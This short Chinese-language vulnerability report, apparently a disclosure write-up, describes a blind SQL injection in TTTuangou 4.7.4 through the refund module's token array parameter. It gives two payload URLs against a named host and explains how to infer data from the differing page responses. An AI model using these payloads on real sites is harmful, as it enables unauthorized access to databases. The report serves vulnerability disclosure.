V4.7.4 Build 20150105版本.
include\driver\database\mysql_max.php(308):
//pack_where函数负责组装sql查询语句where条件部分
如果可以传入数组,并进入where条件,经过pack_where组装成语句后,就能形成sql注射了。
找到一处可以传入数组的地方:
\modules\refund.mod.php:
\include\logic\refund.logic.php:
没有回显位,只能盲注。
http://tg.tttuangou.net/?mod=refund&appcode=xxoo&token[]=%3d-1%20union%20select%201,1,1,1,1,1 //返回页面:订单信息错误!
http://tg.tttuangou.net/?mod=refund&appcode=xxoo&token[]=%3d-1%20union%20select%201,1,1,0,1,1 //返回页面:请先登录!
通过判断返回页面的内容来进行盲注,这样比时间延时注入要快些。从网上找了个盲注脚本: